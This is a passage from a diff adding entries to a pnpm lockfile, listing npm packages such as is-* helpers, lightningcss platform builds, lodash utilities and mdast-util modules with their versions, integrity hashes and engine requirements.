sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==} + engines: {node: '>= 0.4'} + + ipaddr.js@1.9.1: + resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==} + engines: {node: '>= 0.10'} + + is-alphabetical@2.0.1: + resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} + + is-alphanumerical@2.0.1: + resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} + + is-arguments@1.2.0: + resolution: {integrity: sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==} + engines: {node: '>= 0.4'} + + is-array-buffer@3.0.5: + resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==} + engines: {node: '>= 0.4'} + + is-async-function@2.1.1: + resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==} + engines: {node: '>= 0.4'} + + is-bigint@1.1.0: + resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==} + engines: {node: '>= 0.4'} + + is-binary-path@2.1.0: + resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} + engines: {node: '>=8'} + + is-boolean-object@1.2.2: + resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==} + engines: {node: '>= 0.4'} + + is-buffer@2.0.5: + resolution: {integrity: sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==} + engines: {node: '>=4'} + + is-callable@1.2.7: + resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} + engines: {node: '>= 0.4'} + + is-core-module@2.16.1: + resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==} + engines: {node: '>= 0.4'} + + is-data-view@1.0.2: + resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==} + engines: {node: '>= 0.4'} + + is-date-object@1.1.0: + resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==} + engines: {node: '>= 0.4'} + + is-decimal@2.0.1: + resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} + + is-deflate@1.0.0: + resolution: {integrity: sha512-YDoFpuZWu1VRXlsnlYMzKyVRITXj7Ej/V9gXQ2/pAe7X1J7M/RNOqaIYi6qUn+B7nGyB9pDXrv02dsB58d2ZAQ==} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-finalizationregistry@1.1.1: + resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==} + engines: {node: '>= 0.4'} + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-generator-function@1.1.2: + resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==} + engines: {node: '>= 0.4'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-gzip@1.0.0: + resolution: {integrity: sha512-rcfALRIb1YewtnksfRIHGcIY93QnK8BIQ/2c9yDYcG/Y6+vRoJuTWBmmSEbyLLYtXm7q35pHOHbZFQBaLrhlWQ==} + engines: {node: '>=0.10.0'} + + is-hexadecimal@2.0.1: + resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} + + is-interactive@1.0.0: + resolution: {integrity: sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==} + engines: {node: '>=8'} + + is-map@2.0.3: + resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==} + engines: {node: '>= 0.4'} + + is-module@1.0.0: + resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==} + + is-negative-zero@2.0.3: + resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==} + engines: {node: '>= 0.4'} + + is-number-object@1.1.1: + resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==} + engines: {node: '>= 0.4'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-path-inside@3.0.3: + resolution: {integrity: sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==} + engines: {node: '>=8'} + + is-plain-obj@3.0.0: + resolution: {integrity: sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==} + engines: {node: '>=10'} + + is-plain-obj@4.1.0: + resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} + engines: {node: '>=12'} + + is-reference@1.2.1: + resolution: {integrity: sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==} + + is-reference@3.0.3: + resolution: {integrity: sha512-ixkJoqQvAP88E6wLydLGGqCJsrFUnqoH6HnaczB8XmDH1oaWU+xxdptvikTgaEhtZ53Ky6YXiBuUI2WXLMCwjw==} + + is-regex@1.2.1: + resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} + engines: {node: '>= 0.4'} + + is-set@2.0.3: + resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==} + engines: {node: '>= 0.4'} + + is-shared-array-buffer@1.0.4: + resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==} + engines: {node: '>= 0.4'} + + is-stream@2.0.1: + resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} + engines: {node: '>=8'} + + is-string@1.1.1: + resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==} + engines: {node: '>= 0.4'} + + is-symbol@1.1.1: + resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==} + engines: {node: '>= 0.4'} + + is-typed-array@1.1.15: + resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==} + engines: {node: '>= 0.4'} + + is-unicode-supported@0.1.0: + resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==} + engines: {node: '>=10'} + + is-weakmap@2.0.2: + resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==} + engines: {node: '>= 0.4'} + + is-weakref@1.1.1: + resolution: {integrity: sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==} + engines: {node: '>= 0.4'} + + is-weakset@2.0.4: + resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==} + engines: {node: '>= 0.4'} + + isarray@1.0.0: + resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==} + + isarray@2.0.5: + resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} + + isbot@5.1.36: + resolution: {integrity: sha512-C/ZtXyJqDPZ7G7JPr06ApWyYoHjYexQbS6hPYD4WYCzpv2Qes6Z+CCEfTX4Owzf+1EJ933PoI2p+B9v7wpGZBQ==} + engines: {node: '>=18'} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + iterator.prototype@1.1.5: + resolution: {integrity: sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==} + engines: {node: '>= 0.4'} + + jackspeak@3.4.3: + resolution: {integrity: sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==} + + javascript-stringify@2.1.0: + resolution: {integrity: sha512-JVAfqNPTvNq3sB/VHQJAFxN/sPgKnsKrCwyRt15zwNCdrMMJDdcEOdubuy+DuJYYdm0ox1J4uzEuYKkN+9yhVg==} + + jiti@2.6.1: + resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} + hasBin: true + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.1: + resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} + hasBin: true + + jsesc@3.0.2: + resolution: {integrity: sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==} + engines: {node: '>=6'} + hasBin: true + + json-buffer@3.0.1: + resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} + + json-parse-even-better-errors@3.0.2: + resolution: {integrity: sha512-fi0NG4bPjCHunUJffmLd0gxssIgkNmArMvis4iNah6Owg1MCJjWhEcDLmsK6iGkJq3tHwbDkTlce70/tmXN4cQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + + json-stable-stringify-without-jsonify@1.0.1: + resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} + + json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + + jsonfile@6.2.0: + resolution: {integrity: sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==} + + jsx-ast-utils@3.3.5: + resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==} + engines: {node: '>=4.0'} + + keyv@4.5.4: + resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + + kleur@4.1.5: + resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} + engines: {node: '>=6'} + + levn@0.4.1: + resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} + engines: {node: '>= 0.8.0'} + + lightningcss-android-arm64@1.32.0: + resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [android] + + lightningcss-darwin-arm64@1.32.0: + resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [darwin] + + lightningcss-darwin-x64@1.32.0: + resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [darwin] + + lightningcss-freebsd-x64@1.32.0: + resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [freebsd] + + lightningcss-linux-arm-gnueabihf@1.32.0: + resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} + engines: {node: '>= 12.0.0'} + cpu: [arm] + os: [linux] + + lightningcss-linux-arm64-gnu@1.32.0: + resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + lightningcss-linux-arm64-musl@1.32.0: + resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + libc: [musl] + + lightningcss-linux-x64-gnu@1.32.0: + resolution: {integrity: sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + libc: [glibc] + + lightningcss-linux-x64-musl@1.32.0: + resolution: {integrity: sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + libc: [musl] + + lightningcss-win32-arm64-msvc@1.32.0: + resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [win32] + + lightningcss-win32-x64-msvc@1.32.0: + resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [win32] + + lightningcss@1.32.0: + resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} + engines: {node: '>= 12.0.0'} + + lilconfig@2.1.0: + resolution: {integrity: sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==} + engines: {node: '>=10'} + + lilconfig@3.1.3: + resolution: {integrity: sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==} + engines: {node: '>=14'} + + loader-utils@3.3.1: + resolution: {integrity: sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg==} + engines: {node: '>= 12.13.0'} + + local-pkg@1.1.2: + resolution: {integrity: sha512-arhlxbFRmoQHl33a0Zkle/YWlmNwoyt6QNZEIJcqNbdrsix5Lvc4HyyI3EnwxTYlZYc32EbYrQ8SzEZ7dqgg9A==} + engines: {node: '>=14'} + + locate-path@6.0.0: + resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} + engines: {node: '>=10'} + + lodash.camelcase@4.3.0: + resolution: {integrity: sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==} + + lodash.debounce@4.0.8: + resolution: {integrity: sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==} + + lodash.memoize@4.1.2: + resolution: {integrity: sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==} + + lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + + lodash.uniq@4.5.0: + resolution: {integrity: sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==} + + lodash@4.17.23: + resolution: {integrity: sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==} + + log-symbols@4.1.0: + resolution: {integrity: sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==} + engines: {node: '>=10'} + + longest-streak@3.1.0: + resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} + + loose-envify@1.4.0: + resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} + hasBin: true + + lru-cache@10.4.3: + resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==} + + lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + + lru-cache@7.18.3: + resolution: {integrity: sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==} + engines: {node: '>=12'} + + lucide-react@0.577.0: + resolution: {integrity: sha512-4LjoFv2eEPwYDPg/CUdBJQSDfPyzXCRrVW1X7jrx/trgxnxkHFjnVZINbzvzxjN70dxychOfg+FTYwBiS3pQ5A==} + peerDependencies: + react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + magic-string@0.30.21: + resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} + + markdown-extensions@1.1.1: + resolution: {integrity: sha512-WWC0ZuMzCyDHYCasEGs4IPvLyTGftYwh6wIEOULOF0HXcqZlhwRzrK0w2VUlxWA98xnvb/jszw4ZSkJ6ADpM6Q==} + engines: {node: '>=0.10.0'} + + marked@14.0.0: + resolution: {integrity: sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==} + engines: {node: '>= 18'} + hasBin: true + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + mdast-util-definitions@5.1.2: + resolution: {integrity: sha512-8SVPMuHqlPME/z3gqVwWY4zVXn8lqKv/pAhC57FuJ40ImXyBpmO5ukh98zB2v7Blql2FiHjHv9LVztSIqjY+MA==} + + mdast-util-from-markdown@1.3.1: + resolution: {integrity: sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==} + + mdast-util-frontmatter@1.0.1: + resolution: {integrity: sha512-JjA2OjxRqAa8wEG8hloD0uTU0kdn8kbtOWpPP94NBkfAlbxn4S8gCGf/9DwFtEeGPXrDcNXdiDjVaRdUFqYokw==} + + mdast-util-mdx-expression@1.3.2: + resolution: {integrity: sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==} + + mdast-util-mdx-jsx@2.1.4: + resolution: {integrity: sha512-DtMn9CmVhVzZx3f+optVDF8yFgQVt7FghCRNdlIaS3X5Bnym3hZwPbg/XW86vdpKjlc1PVj26SpnLGeJBXD3JA==} + + mdast-util-mdx@2.0.1: + resolution: {integrity: sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==} + + mdast-util-mdxjs-esm@1.3.1: + resolution: {integrity: sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==} + + mdast-util-phrasing@3.0.1: + resolution: {integrity: sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==} + + mdast-util-to-hast@12.3.0: + resolution: {integrity: sha512-pits93r8PhnIoU4Vy9bjW39M2jJ6/tdHyja9rrot9uujkN7UTU9SDnE6WNJz/IGyQk3XHX6yNNtrBH6cQzm8Hw==} + + mdast-util-to-markdown@1.5.0: + resolution: {integrity: sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==} + + mdast-util-to-string@3.2.0: + resolution: {integrity: sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==} + + mdn-data@2.0.14: + resolution: {integrity: sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==} + + media-query-parser@2.0.2: + resolution: {integrity: sha512-1N4qp+jE0pL5Xv4uEcwVUhIkwdUO3S/9gML90nqKA7v7FcOS5vUtatfzok9S9U1EJU8dHWlcv95WLnKmmxZI9w==} + + media-typer@0.3.0: + resolution: {integrity: sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==} + engines: {node: '>= 0.6'} + + merge-descriptors@1.0.3: + resolution: {integrity: sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==} + + merge-stream@2.0.0: + resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + methods@1.1.2: + resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} + engines: {node: '>= 0.6'} + + micromark-core-commonmark@1.1.0: + resolution: {integrity: 